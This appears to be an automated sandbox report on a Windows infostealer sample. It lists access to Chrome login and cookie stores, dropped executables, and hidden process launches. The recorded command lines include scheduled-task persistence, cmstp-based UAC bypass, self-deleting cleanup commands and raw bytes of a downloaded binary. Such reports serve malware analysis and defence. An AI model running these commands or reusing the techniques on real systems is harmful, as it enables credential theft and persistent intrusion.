file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\CertificateTransparency\Login Data
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\PepperFlash\Cookies
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\MEIPreload\Login Data
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local State\Login Data
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Safe Browsing Cookies\Login Data
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\CertificateRevocation\Web Data
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\RecoveryImproved\Cookies
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\FontLookupTableCache\Cookies
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\WidevineCdm\Cookies
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\RecoveryImproved\Login Data
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\PnaclTranslationCache\Login Data
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\BrowserMetrics\Login Data
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\GrShaderCache\Cookies
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\CrashpadMetrics-active.pma\Cookies
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\SafetyTips\Web Data
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\ZxcvbnData\Cookies
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Crashpad\Login Data
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Safe Browsing Channel IDs-journal\Web Data
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\chrome_shutdown_ms.txt\Login Data
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\SwReporter\Login Data
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\chrome_shutdown_ms.txt\Cookies
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Crashpad\Cookies
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Last Browser\Cookies
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\MEIPreload\Cookies
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Crowd Deny\Web Data
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\ZxcvbnData\Web Data
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Safe Browsing Cookies\Cookies
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\BrowserMetrics\Cookies
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Safe Browsing Channel IDs\Web Data
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\ThirdPartyModuleList64\Cookies
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Safe Browsing Channel IDs-journal\Cookies
file	C:\Users\test22\AppData\Local\Google\Chrome\Web Data
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\BrowserMetrics\Web Data
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\TLSDeprecationConfig\Cookies

Creates executable files on the filesystem (50 out of 137 events)

file	C:\Users\test22\AppData\Local\Temp\E1070B8B\api-ms-win-core-file-l1-2-0.dll
file	C:\Users\test22\AppData\LocalLow\wG3cB0qZ3rM5x\api-ms-win-core-util-l1-1-0.dll
file	C:\Users\test22\AppData\LocalLow\wG3cB0qZ3rM5x\api-ms-win-core-processthreads-l1-1-0.dll
file	C:\Users\test22\AppData\Local\Temp\Qs4zrKsMII.exe
file	C:\Users\test22\AppData\Local\Temp\E1070B8B\api-ms-win-crt-process-l1-1-0.dll
file	C:\Users\test22\AppData\LocalLow\wG3cB0qZ3rM5x\mozMapi32.dll
file	C:\Users\test22\AppData\LocalLow\wG3cB0qZ3rM5x\MapiProxy_InUse.dll
file	C:\Users\test22\AppData\LocalLow\wG3cB0qZ3rM5x\api-ms-win-core-string-l1-1-0.dll
file	C:\Users\Public\KDECO.bat
file	C:\Users\test22\AppData\LocalLow\wG3cB0qZ3rM5x\api-ms-win-crt-convert-l1-1-0.dll
file	C:\Users\test22\AppData\Local\Temp\E1070B8B\api-ms-win-core-string-l1-1-0.dll
file	C:\Users\test22\AppData\Local\Temp\E1070B8B\api-ms-win-core-interlocked-l1-1-0.dll
file	C:\Users\test22\AppData\LocalLow\wG3cB0qZ3rM5x\AccessibleHandler.dll
file	C:\Users\test22\AppData\LocalLow\wG3cB0qZ3rM5x\api-ms-win-core-file-l1-2-0.dll
file	C:\Users\test22\AppData\Local\Temp\E1070B8B\api-ms-win-crt-multibyte-l1-1-0.dll
file	C:\Users\test22\AppData\Local\Temp\E1070B8B\api-ms-win-core-memory-l1-1-0.dll
file	C:\Users\test22\AppData\Local\Temp\E1070B8B\api-ms-win-core-rtlsupport-l1-1-0.dll
file	C:\Users\test22\AppData\LocalLow\wG3cB0qZ3rM5x\ldif60.dll
file	C:\Users\test22\AppData\LocalLow\wG3cB0qZ3rM5x\api-ms-win-core-profile-l1-1-0.dll
file	C:\Users\test22\AppData\LocalLow\wG3cB0qZ3rM5x\api-ms-win-crt-conio-l1-1-0.dll
file	C:\Users\test22\AppData\LocalLow\wG3cB0qZ3rM5x\prldap60.dll
file	C:\Users\test22\AppData\Local\Temp\E1070B8B\api-ms-win-core-file-l2-1-0.dll
file	C:\Users\Public\nest.bat
file	C:\Users\test22\AppData\LocalLow\wG3cB0qZ3rM5x\api-ms-win-crt-heap-l1-1-0.dll
file	C:\Users\test22\AppData\Local\Temp\E1070B8B\api-ms-win-core-processthreads-l1-1-0.dll
file	C:\Users\test22\AppData\Roaming\Microsoft\Windows\Recent\dd81b5e9d99588633b73117e3b1f84f1a6952f9d573057d804047a85abfb8328_1609fbf0d6c26e---38596704027.pdf.lnk
file	C:\Users\test22\AppData\Local\Temp\E1070B8B\vcruntime140.dll
file	C:\ProgramData\softokn3.dll
file	C:\Users\test22\AppData\Local\Temp\ds1.exe
file	C:\Users\test22\AppData\Local\Temp\E1070B8B\api-ms-win-core-profile-l1-1-0.dll
file	C:\Users\test22\AppData\Local\Temp\ac.exe
file	C:\Users\test22\AppData\LocalLow\wG3cB0qZ3rM5x\api-ms-win-crt-math-l1-1-0.dll
file	C:\Users\test22\AppData\Local\Temp\E1070B8B\api-ms-win-core-namedpipe-l1-1-0.dll
file	C:\Users\test22\AppData\LocalLow\wG3cB0qZ3rM5x\breakpadinjector.dll
file	C:\Users\test22\AppData\LocalLow\wG3cB0qZ3rM5x\api-ms-win-crt-filesystem-l1-1-0.dll
file	C:\Users\test22\AppData\LocalLow\wG3cB0qZ3rM5x\lgpllibs.dll
file	C:\Users\test22\AppData\LocalLow\wG3cB0qZ3rM5x\api-ms-win-core-processthreads-l1-1-1.dll
file	C:\Users\test22\AppData\Local\Temp\rc.exe
file	C:\Users\test22\AppData\Local\Temp\E1070B8B\api-ms-win-core-localization-l1-2-0.dll
file	C:\Users\test22\AppData\LocalLow\wG3cB0qZ3rM5x\api-ms-win-core-file-l2-1-0.dll
file	C:\Users\test22\AppData\LocalLow\wG3cB0qZ3rM5x\msvcp140.dll
file	C:\Users\test22\AppData\Local\Temp\E1070B8B\api-ms-win-core-synch-l1-1-0.dll
file	C:\Users\test22\AppData\Local\Temp\NKHh91jIt3.exe
file	C:\Users\test22\AppData\Local\Temp\E1070B8B\api-ms-win-crt-conio-l1-1-0.dll
file	C:\Users\test22\AppData\Local\Temp\E1070B8B\api-ms-win-crt-utility-l1-1-0.dll
file	C:\Users\test22\AppData\Local\Temp\E1070B8B\api-ms-win-core-libraryloader-l1-1-0.dll
file	C:\ProgramData\vcruntime140.dll
file	C:\Users\test22\AppData\LocalLow\wG3cB0qZ3rM5x\api-ms-win-core-interlocked-l1-1-0.dll
file	C:\Users\test22\AppData\LocalLow\wG3cB0qZ3rM5x\softokn3.dll
file	C:\Users\Public\UKO.bat

Creates a shortcut to an executable file (50 events)

file	C:\Users\test22\AppData\Roaming\Microsoft\Windows\Recent\agent.pyw.lnk
file	C:\Users\test22\AppData\Roaming\Microsoft\Windows\Recent\click_image.lnk
file	C:\Users\test22\AppData\Roaming\Microsoft\Windows\Recent\click.txt.lnk
file	C:\Users\test22\AppData\Roaming\Microsoft\Windows\Recent\msi2.png.lnk
file	C:\Users\test22\AppData\Roaming\Microsoft\Windows\Recent\test_doc.eml.lnk
file	C:\Users\test22\AppData\Roaming\Microsoft\Windows\Recent\office_2007.lnk
file	C:\Users\test22\AppData\Roaming\Microsoft\Windows\Recent\exe1.zip.lnk
file	C:\Users\test22\AppData\Roaming\Microsoft\Windows\Recent\test.eml.lnk
file	C:\Users\test22\AppData\Roaming\Microsoft\Windows\Recent\robot.png.lnk
file	C:\Users\test22\AppData\Roaming\Microsoft\Windows\Recent\air+france+klm+annual+report+2013-RTMD-AMBb5mCGMAAAvhwCAEtSGQASABszRd8A.lnk
file	C:\Users\test22\AppData\Roaming\Microsoft\Windows\Recent\╗τ┐δ╣².txt.lnk
file	C:\Users\test22\AppData\Roaming\Microsoft\Windows\Recent\ok2.png.lnk
file	C:\Users\test22\AppData\Roaming\Microsoft\Windows\Recent\ok1.png.lnk
file	C:\Users\test22\AppData\Roaming\Microsoft\Windows\Recent\util.lnk
file	C:\Users\test22\AppData\Roaming\Microsoft\Windows\Recent\test (1).eml.lnk
file	C:\Users\test22\AppData\Roaming\Microsoft\Windows\Recent\Settings.ini.lnk
file	C:\Users\test22\AppData\Roaming\Microsoft\Windows\Recent\docx2.png.lnk
file	C:\Users\test22\AppData\Roaming\Microsoft\Windows\Recent\KMS Activation.txt.lnk
file	C:\Users\test22\AppData\Roaming\Microsoft\Windows\Recent\sn.txt.lnk
file	C:\Users\test22\AppData\Roaming\Microsoft\Windows\Recent\Office.2010.Toolkit.and.EZ-Activator.v2.1.5.Final.lnk
file	C:\Users\test22\AppData\Roaming\Microsoft\Windows\Recent\robot2.png.lnk
file	C:\Users\test22\AppData\Roaming\Microsoft\Windows\Recent\agent.py.lnk
file	C:\Users\test22\AppData\Roaming\Microsoft\Windows\Recent\ZeroAI_Click.pyw.lnk
file	C:\Users\test22\AppData\Roaming\Microsoft\Windows\Recent\한글2010(정품).lnk
file	C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
file	C:\Users\test22\AppData\Roaming\Microsoft\Windows\Recent\readme.txt.lnk
file	C:\Users\test22\AppData\Roaming\Microsoft\Windows\Recent\시리얼넘버.lnk
file	C:\Users\test22\AppData\Roaming\Microsoft\Windows\Recent\ZeroCERT.bmp.lnk
file	C:\Users\test22\AppData\Roaming\Microsoft\Windows\Recent\age.pyw.lnk
file	C:\Users\test22\AppData\Roaming\Microsoft\Windows\Recent\password.txt.lnk
file	C:\Users\test22\AppData\Roaming\Microsoft\Windows\Recent\jsGIrPlHsPM.txt.lnk
file	C:\Users\test22\AppData\Roaming\Microsoft\Windows\Recent\click.pyw.lnk
file	C:\Users\test22\AppData\Roaming\Microsoft\Windows\Recent\ZeroAI_History.txt.lnk
file	C:\Users\test22\AppData\Roaming\Microsoft\Windows\Recent\click.py.lnk
file	C:\Users\test22\AppData\Roaming\Microsoft\Windows\Recent\시작프로그램.lnk
file	C:\Users\test22\AppData\Roaming\Microsoft\Windows\Recent\doc.png.lnk
file	C:\Users\test22\AppData\Roaming\Microsoft\Windows\Recent\dd81b5e9d99588633b73117e3b1f84f1a6952f9d573057d804047a85abfb8328_1609fbf0d6c26e---38596704027.pdf.lnk
file	C:\Users\test22\AppData\Roaming\Microsoft\Windows\Recent\ZeroAI_Click.py.lnk
file	C:\Users\test22\AppData\Roaming\Microsoft\Windows\Recent\다운로드.lnk
file	C:\Users\test22\AppData\Roaming\Microsoft\Windows\Recent\Python27.lnk
file	C:\Users\test22\AppData\Roaming\Microsoft\Windows\Recent\msi1.png.lnk
file	C:\Users\test22\AppData\Roaming\Microsoft\Windows\Recent\robot3.png.lnk
file	C:\Users\test22\AppData\Roaming\Microsoft\Windows\Recent\phishing_file.pdf.lnk
file	C:\Users\test22\AppData\Roaming\Microsoft\Windows\Recent\msoffice2010_32bit.lnk
file	C:\Users\test22\AppData\Roaming\Microsoft\Windows\Recent\doc2.png.lnk
file	C:\Users\test22\AppData\Roaming\Microsoft\Windows\Recent\KMSAuto_Net_2015_v1.4. 2.lnk
file	C:\Users\test22\AppData\Roaming\Microsoft\Windows\Recent\한글2010(정품) (2).lnk
file	C:\Users\test22\AppData\Roaming\Microsoft\Windows\Recent\test_zip_doc.eml.lnk
file	C:\Users\test22\AppData\Roaming\Microsoft\Windows\Recent\click.lnk
file	C:\Users\test22\AppData\Roaming\Microsoft\Windows\Recent\테스트.txt.lnk

Creates a suspicious process (13 events)

cmdline	C:\Windows\System32\cmd.exe /c C:\Windows\system32\timeout.exe 3 & del "GDSFbnvfghsrf.exe"
cmdline	cmd.exe /c taskkill /pid 2760 & erase C:\Users\test22\AppData\Roaming\Fdfgrytbvdfsd.exe & RD /S /Q C:\\ProgramData\\562700353122373\\* & exit
cmdline	schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
cmdline	schtasks.exe /Create /TN "Updates\ddoAzF" /XML "C:\Users\test22\AppData\Local\Temp\tmp824.tmp"
cmdline	/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\test22\AppData\Roaming\Microsoft\Network\sqlcmd.exe"
cmdline	C:\Windows\system32\cmd.exe /K C:\Users\Public\UKO.bat
cmdline	cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\test22\AppData\Local\Temp\zxcv.EXE"
cmdline	"C:\Windows\System32\cmd.exe" /c taskkill /pid 2760 & erase C:\Users\test22\AppData\Roaming\Fdfgrytbvdfsd.exe & RD /S /Q C:\\ProgramData\\562700353122373\\* & exit
cmdline	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\ddoAzF" /XML "C:\Users\test22\AppData\Local\Temp\tmpA553.tmp"
cmdline	"C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "GDSFbnvfghsrf.exe"
cmdline	"powershell" Get-MpPreference -verbose
cmdline	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\ddoAzF" /XML "C:\Users\test22\AppData\Local\Temp\tmp824.tmp"
cmdline	schtasks.exe /Create /TN "Updates\ddoAzF" /XML "C:\Users\test22\AppData\Local\Temp\tmpA553.tmp"

Drops a binary and executes it (8 events)

file	C:\Users\test22\AppData\Roaming\GDSFbnvfghsrf.exe
file	C:\Users\test22\AppData\Roaming\Fdfgrytbvdfsd.exe
file	C:\Users\test22\AppData\Local\Temp\zxcv.EXE
file	C:\Users\test22\AppData\Local\Temp\NKHh91jIt3.exe
file	C:\Users\test22\AppData\Local\Temp\KllTrtJVOr.exe
file	C:\Users\test22\AppData\Local\Temp\Qs4zrKsMII.exe
file	C:\Users\test22\AppData\Local\Temp\rc.exe
file	C:\Users\test22\AppData\Local\Temp\ds1.exe

Drops an executable to the user AppData folder (50 out of 75 events)

file	C:\Users\test22\AppData\Local\Temp\E1070B8B\api-ms-win-core-synch-l1-1-0.dll
file	C:\Users\test22\AppData\Local\Temp\zxcv.EXE
file	C:\Users\test22\AppData\Local\Temp\E1070B8B\api-ms-win-core-file-l2-1-0.dll
file	C:\Users\test22\AppData\Local\Temp\E1070B8B\api-ms-win-crt-locale-l1-1-0.dll
file	C:\Users\test22\AppData\LocalLow\wG3cB0qZ3rM5x\breakpadinjector.dll
file	C:\Users\test22\AppData\LocalLow\wG3cB0qZ3rM5x\prldap60.dll
file	C:\Users\test22\AppData\Local\Temp\E1070B8B\api-ms-win-crt-private-l1-1-0.dll
file	C:\Users\test22\AppData\Local\Temp\E1070B8B\api-ms-win-core-debug-l1-1-0.dll
file	C:\Users\test22\AppData\Local\Temp\Qs4zrKsMII.exe
file	C:\Users\test22\AppData\LocalLow\wG3cB0qZ3rM5x\nss3.dll
file	C:\Users\test22\AppData\Local\Temp\E1070B8B\nss3.dll
file	C:\Users\test22\AppData\Local\Temp\E1070B8B\api-ms-win-core-namedpipe-l1-1-0.dll
file	C:\Users\test22\AppData\LocalLow\wG3cB0qZ3rM5x\mozglue.dll
file	C:\Users\test22\AppData\Local\Temp\E1070B8B\api-ms-win-core-libraryloader-l1-1-0.dll
file	C:\Users\test22\AppData\Local\Temp\NKHh91jIt3.exe
file	C:\Users\test22\AppData\Local\Temp\E1070B8B\freebl3.dll
file	C:\Users\test22\AppData\LocalLow\wG3cB0qZ3rM5x\softokn3.dll
file	C:\Users\test22\AppData\Local\Temp\E1070B8B\vcruntime140.dll
file	C:\Users\test22\AppData\Local\Temp\E1070B8B\api-ms-win-crt-environment-l1-1-0.dll
file	C:\Users\test22\AppData\LocalLow\wG3cB0qZ3rM5x\MapiProxy.dll
file	C:\Users\test22\AppData\LocalLow\wG3cB0qZ3rM5x\IA2Marshal.dll
file	C:\Users\test22\AppData\Local\Temp\E1070B8B\api-ms-win-crt-heap-l1-1-0.dll
file	C:\Users\test22\AppData\Local\Temp\E1070B8B\api-ms-win-crt-time-l1-1-0.dll
file	C:\Users\test22\AppData\Local\Temp\E1070B8B\mozglue.dll
file	C:\Users\test22\AppData\Local\Temp\E1070B8B\api-ms-win-crt-math-l1-1-0.dll
file	C:\Users\test22\AppData\Local\Temp\E1070B8B\api-ms-win-core-string-l1-1-0.dll
file	C:\Users\test22\AppData\Local\Temp\E1070B8B\api-ms-win-core-memory-l1-1-0.dll
file	C:\Users\test22\AppData\Local\Temp\E1070B8B\api-ms-win-core-sysinfo-l1-1-0.dll
file	C:\Users\test22\AppData\Local\Temp\E1070B8B\api-ms-win-core-util-l1-1-0.dll
file	C:\Users\test22\AppData\Local\Temp\E1070B8B\api-ms-win-core-localization-l1-2-0.dll
file	C:\Users\test22\AppData\Local\Temp\E1070B8B\api-ms-win-core-processthreads-l1-1-0.dll
file	C:\Users\test22\AppData\Local\Temp\E1070B8B\api-ms-win-crt-filesystem-l1-1-0.dll
file	C:\Users\test22\AppData\Local\Temp\E1070B8B\msvcp140.dll
file	C:\Users\test22\AppData\Local\Temp\E1070B8B\api-ms-win-crt-stdio-l1-1-0.dll
file	C:\Users\test22\AppData\Local\Temp\E1070B8B\nssdbm3.dll
file	C:\Users\test22\AppData\Local\Temp\E1070B8B\api-ms-win-core-errorhandling-l1-1-0.dll
file	C:\Users\test22\AppData\LocalLow\wG3cB0qZ3rM5x\AccessibleHandler.dll
file	C:\Users\test22\AppData\LocalLow\wG3cB0qZ3rM5x\qipcap.dll
file	C:\Users\test22\AppData\Local\Temp\E1070B8B\api-ms-win-crt-utility-l1-1-0.dll
file	C:\Users\test22\AppData\Local\Temp\E1070B8B\api-ms-win-core-console-l1-1-0.dll
file	C:\Users\test22\AppData\Local\Temp\E1070B8B\api-ms-win-core-processthreads-l1-1-1.dll
file	C:\Users\test22\AppData\Local\Temp\E1070B8B\api-ms-win-core-heap-l1-1-0.dll
file	C:\Users\test22\AppData\Local\Temp\E1070B8B\api-ms-win-core-file-l1-1-0.dll
file	C:\Users\test22\AppData\LocalLow\sqlite3.dll
file	C:\Users\test22\AppData\LocalLow\wG3cB0qZ3rM5x\freebl3.dll
file	C:\Users\test22\AppData\Local\Temp\E1070B8B\ucrtbase.dll
file	C:\Users\test22\AppData\LocalLow\wG3cB0qZ3rM5x\libEGL.dll
file	C:\Users\test22\AppData\Local\Temp\E1070B8B\api-ms-win-core-processenvironment-l1-1-0.dll
file	C:\Users\test22\AppData\Local\Temp\E1070B8B\api-ms-win-core-datetime-l1-1-0.dll
file	C:\Users\test22\AppData\Local\Temp\E1070B8B\api-ms-win-core-handle-l1-1-0.dll

Executes one or more WMI queries (1 event)

wmi	SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( ProcessId = 2760)

A process created a hidden window (15 events)

Time & API	Arguments	Status	Return
ShellExecuteExW July 19, 2021, 10:32 a.m.	show_type: 0 filepath_r: C:\Users\test22\AppData\Local\Temp\NKHh91jIt3.exe parameters: filepath: C:\Users\test22\AppData\Local\Temp\NKHh91jIt3.exe	1	1
ShellExecuteExW July 19, 2021, 10:32 a.m.	show_type: 0 filepath_r: C:\Users\test22\AppData\Local\Temp\Qv4SXRxX8p.exe parameters: filepath: C:\Users\test22\AppData\Local\Temp\Qv4SXRxX8p.exe	1	1
ShellExecuteExW July 19, 2021, 10:32 a.m.	show_type: 0 filepath_r: C:\Users\test22\AppData\Local\Temp\4a3K8bEiw2.exe parameters: filepath: C:\Users\test22\AppData\Local\Temp\4a3K8bEiw2.exe	1	1
ShellExecuteExW July 19, 2021, 10:32 a.m.	show_type: 0 filepath_r: C:\Users\test22\AppData\Local\Temp\KllTrtJVOr.exe parameters: filepath: C:\Users\test22\AppData\Local\Temp\KllTrtJVOr.exe	1	1
ShellExecuteExW July 19, 2021, 10:32 a.m.	show_type: 0 filepath_r: C:\Users\test22\AppData\Local\Temp\Qs4zrKsMII.exe parameters: filepath: C:\Users\test22\AppData\Local\Temp\Qs4zrKsMII.exe	1	1
CreateProcessInternalW July 19, 2021, 10:32 a.m.	thread_identifier: 3588 thread_handle: 0x000007c0 process_identifier: 3584 current_directory: filepath: track: 1 command_line: cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\test22\AppData\Local\Temp\zxcv.EXE" filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 0 process_handle: 0x000007b4	1	1
ShellExecuteExW July 19, 2021, 10:31 a.m.	show_type: 0 filepath_r: C:\Windows\system32\cmd.exe parameters: /c C:\Windows\system32\timeout.exe 3 & del "GDSFbnvfghsrf.exe" filepath: C:\Windows\System32\cmd.exe	1	1
ShellExecuteExW July 19, 2021, 10:33 a.m.	show_type: 0 filepath_r: cmd.exe parameters: /c taskkill /pid 2760 & erase C:\Users\test22\AppData\Roaming\Fdfgrytbvdfsd.exe & RD /S /Q C:\\ProgramData\\562700353122373\\* & exit filepath: cmd.exe	1	1
ShellExecuteExW July 19, 2021, 10:32 a.m.	show_type: 0 filepath_r: schtasks.exe parameters: /Create /TN "Updates\ddoAzF" /XML "C:\Users\test22\AppData\Local\Temp\tmpA553.tmp" filepath: schtasks.exe	1	1
CreateProcessInternalW July 19, 2021, 10:32 a.m.	thread_identifier: 1072 thread_handle: 0x000000ac process_identifier: 1828 current_directory: filepath: C:\Windows\System32\schtasks.exe track: 1 command_line: /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\test22\AppData\Roaming\Microsoft\Network\sqlcmd.exe" filepath_r: C:\Windows\System32\schtasks.exe stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 0 process_handle: 0x000000b0	1	1
ShellExecuteExW July 19, 2021, 10:32 a.m.	show_type: 0 filepath_r: schtasks.exe parameters: /Create /TN "Updates\ddoAzF" /XML "C:\Users\test22\AppData\Local\Temp\tmp824.tmp" filepath: schtasks.exe	1	1
CreateProcessInternalW July 19, 2021, 10:32 a.m.	thread_identifier: 3096 thread_handle: 0x00000218 process_identifier: 180 current_directory: C:\Users\test22\AppData\Local\Temp filepath: track: 1 command_line: "c:\windows\system32\cmstp.exe" /au C:\Windows\temp\j0fojguc.inf filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x0000021c	1	1
CreateProcessInternalW July 19, 2021, 10:32 a.m.	thread_identifier: 3508 thread_handle: 0x000001ac process_identifier: 3488 current_directory: C:\Users\test22\AppData\Local\Temp filepath: track: 1 command_line: "powershell" Get-MpPreference -verbose filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x000001bc	1	1
CreateProcessInternalW July 19, 2021, 10:32 a.m.	thread_identifier: 2076 thread_handle: 0x000000ac process_identifier: 2092 current_directory: filepath: C:\Windows\System32\schtasks.exe track: 1 command_line: /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\test22\AppData\Roaming\Microsoft\Network\sqlcmd.exe" filepath_r: C:\Windows\System32\schtasks.exe stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 0 process_handle: 0x000000b0	1	1
CreateProcessInternalW July 19, 2021, 10:32 a.m.	thread_identifier: 3432 thread_handle: 0x000001b4 process_identifier: 3384 current_directory: C:\Users\test22\AppData\LocalLow filepath: track: 1 command_line: "c:\windows\system32\cmstp.exe" /au C:\Windows\temp\kyr1rxzc.inf filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x000001b8	1	1

Searches running processes potentially to identify processes for sandbox evasion, code injection or memory dumping (11 events)

Time & API	Arguments	Status	Return
Process32NextW July 19, 2021, 10:31 a.m.	snapshot_handle: 0x00000330 process_name: SearchProtocolHost.exe process_identifier: 2332	1	1
Process32NextW July 19, 2021, 10:31 a.m.	snapshot_handle: 0x00000330 process_name: zxcv.EXE process_identifier: 2424	1	1
Process32NextW July 19, 2021, 10:31 a.m.	snapshot_handle: 0x00000330 process_name: GDSFbnvfghsrf.exe process_identifier: 2520	1	1
Process32NextW July 19, 2021, 10:31 a.m.	snapshot_handle: 0x00000330 process_name: zxcv.EXE process_identifier: 2604	1	1
Process32NextW July 19, 2021, 10:31 a.m.	snapshot_handle: 0x00000330 process_name: GDSFbnvfghsrf.exe process_identifier: 2708	1	1
Process32NextW July 19, 2021, 10:31 a.m.	snapshot_handle: 0x00000330 process_name: Fdfgrytbvdfsd.exe process_identifier: 2760	1	1
Process32NextW July 19, 2021, 10:31 a.m.	snapshot_handle: 0x00000330 process_name: WerFault.exe process_identifier: 2824	1	1
Process32NextW July 19, 2021, 10:31 a.m.	snapshot_handle: 0x00000330 process_name: WerFault.exe process_identifier: 2904	1	1
Process32NextW July 19, 2021, 10:31 a.m.	snapshot_handle: 0x00000330 process_name: WerFault.exe process_identifier: 2912	1	1
Process32NextW July 19, 2021, 10:31 a.m.	snapshot_handle: 0x00000330 process_name: cmd.exe process_identifier: 2380	1	1
Process32NextW July 19, 2021, 10:31 a.m.	snapshot_handle: 0x00000330 process_name: pw.exe process_identifier: 2440	1	1

Changes read-write memory protection to read-execute (probably to avoid detection when setting all RWX flags at the same time) (1 event)

Time & API	Arguments	Status	Return	Repeated
NtProtectVirtualMemory July 19, 2021, 10:31 a.m.	process_identifier: 2424 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 24576 protection: 32 (PAGE_EXECUTE_READ) base_address: 0x003f0000 process_handle: 0xffffffff	1	0	0

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses July 19, 2021, 10:32 a.m.	flags: 15 family: 0		111	0

An executable file was downloaded by the processes gdsfbnvfghsrf.exe, fdfgrytbvdfsd.exe (12 events)

Time & API	Arguments	Status	Return
InternetReadFile July 19, 2021, 10:31 a.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $PEL~ð`à0>I `@ @èHS`° H.textD) `.rsrc°`,@@.reloc2@B IHàXðT©à¯00: =0x L®4a%^Eàÿÿÿ+rp b¹wZ ´Ã}a+Î0M iË ÄW2a%^EÜÿÿÿ&+$rp H ÚZ ;¶#a+Ê mgZ âÑha+»0( 0 (}}( c["w ÕJa% ^E w)ËEÇÿÿÿ¹8´{(rp(%\|(s o ¸Z 6è<7a+{(r#p(%\|(s o ÖâªËZ Ì»a8Eÿÿÿ{(r'p(%\|(s o xf`vZ ¢¼a8ÿÿÿ{(r+p(%\|(s o [áDZ Ë+ýa8¾þÿÿ( ÆÇZ ºø>a8£þÿÿs }{(r/p(%\|(s o (îZ Lv¼la8Uþÿÿ{(r3p(%\|(s o _5}Z Ré¶^a8þÿÿ0L w¶ [ka% ^EÜÿÿÿ&+$( MfÈZ "K`a+Ë (Z D!ºa+»0Yt iÐ_ dÝa% ^Ez8R(íöÚ¢ÐPº¦ÿÿÿ#f8ñ{( o P±4Z ! R¦a+(r7p( âw Z 1 ta8[ÿÿÿ(u( ( M.&£Z 8a81ÿÿÿ{ o ( âÆZ 6:Da8 ÿÿÿ(r7p( - YÿlU%+ C%&8Ûþÿÿ o °shZ á5ña8¾þÿÿ þòÜZ °To¤a8©þÿÿ, ÏÏNâ%+ öí%& 8»î,Za8þÿÿ w"Z hÌ §a8sþÿÿsÔ( ô_8p8Yþÿÿ &î¡wZ [?ùa8Eþÿÿ( ÍzÚ'Z v7õa8þÿÿ{( o! r?p o þ mTZ 0èË=a8ñýÿÿ- Ïzè%+ êtï%& (ctZa8Ñýÿÿ o" & ña3Z ó.C a8µýÿÿ0Á bE¼í @s®a%^ED(vÌÿÿÿc8(# ÞÀê+½{þ+ 1ñÅ+©, á Nñ%+ Ù!»%& ¼JZa+{( ¤ÙZ pæna8nÿÿÿ ^ünèZ ¡ÕEa8[ÿÿÿ,¦ £¢Z EVùÐa8Fÿÿÿ0g SX'& á®s a% ^EPßÞöÁ¶²ú ä lðeJHX Ì Ê -±hDx©Èýÿÿ /D 1 Ó8Ùª ,ä ò0É°c) p¤ ØÏtð ð æÝ¼O Æ< b iÅ®vÀ\wÐ:o&êz ¢×yý&rdB YGÁU êHS³u ÄF/Vf \|=[ùÂÏô 3Q 8(þs$ (E ¹Mê?Z è[¨a8£ýÿÿ -]Z ZÆñga8ýÿÿ(? òEAZ ËÌÂ#a8wýÿÿ{rWp(( e IZ Õc4a8Uýÿÿ .~P#Z FÅ`a8Býÿÿ ±}/AZ `k¥a8/ýÿÿ{ (% (3 ½ÂæZ zÌxîa8 